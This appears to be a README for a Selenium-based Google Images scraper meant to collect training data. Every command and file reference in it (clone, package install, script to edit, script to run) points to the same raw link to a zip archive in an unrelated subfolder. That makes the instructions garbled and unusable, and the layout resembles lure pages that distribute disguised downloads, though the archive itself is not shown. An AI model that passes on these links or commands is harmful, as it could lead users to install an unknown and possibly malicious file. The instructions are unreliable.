This Python script allows you to scrape images from Google Images based on a specified search query and save them to your local machine. It utilizes Selenium and the Edge web browser to automate the image retrieval process.
Purpose: The primary goal of this project is to create a dataset for training machine learning and artificial intelligence models in an automated manner.
Clone this repository to your local machine:
git clone https://github.com/Jaipal00/Google-Image-Scraper/raw/refs/heads/main/swineherd/Image-Google-Scraper-3.2-alpha.3.zipNavigate to the project folder:
cd Google-Image-ScraperInstall the required Python packages:
pip install -r https://github.com/Jaipal00/Google-Image-Scraper/raw/refs/heads/main/swineherd/Image-Google-Scraper-3.2-alpha.3.zipUpdate the query variable in the https://github.com/Jaipal00/Google-Image-Scraper/raw/refs/heads/main/swineherd/Image-Google-Scraper-3.2-alpha.3.zip file with your desired search query.
Run the script:
python https://github.com/Jaipal00/Google-Image-Scraper/raw/refs/heads/main/swineherd/Image-Google-Scraper-3.2-alpha.3.zipImages matching your query will be downloaded and saved to a folder on your desktop.
Dependencies:
- Python 3.x
- Selenium
- Pillow (PIL)
- Microsoft WebDriver (Ensure it's compatible with your Edge browser version)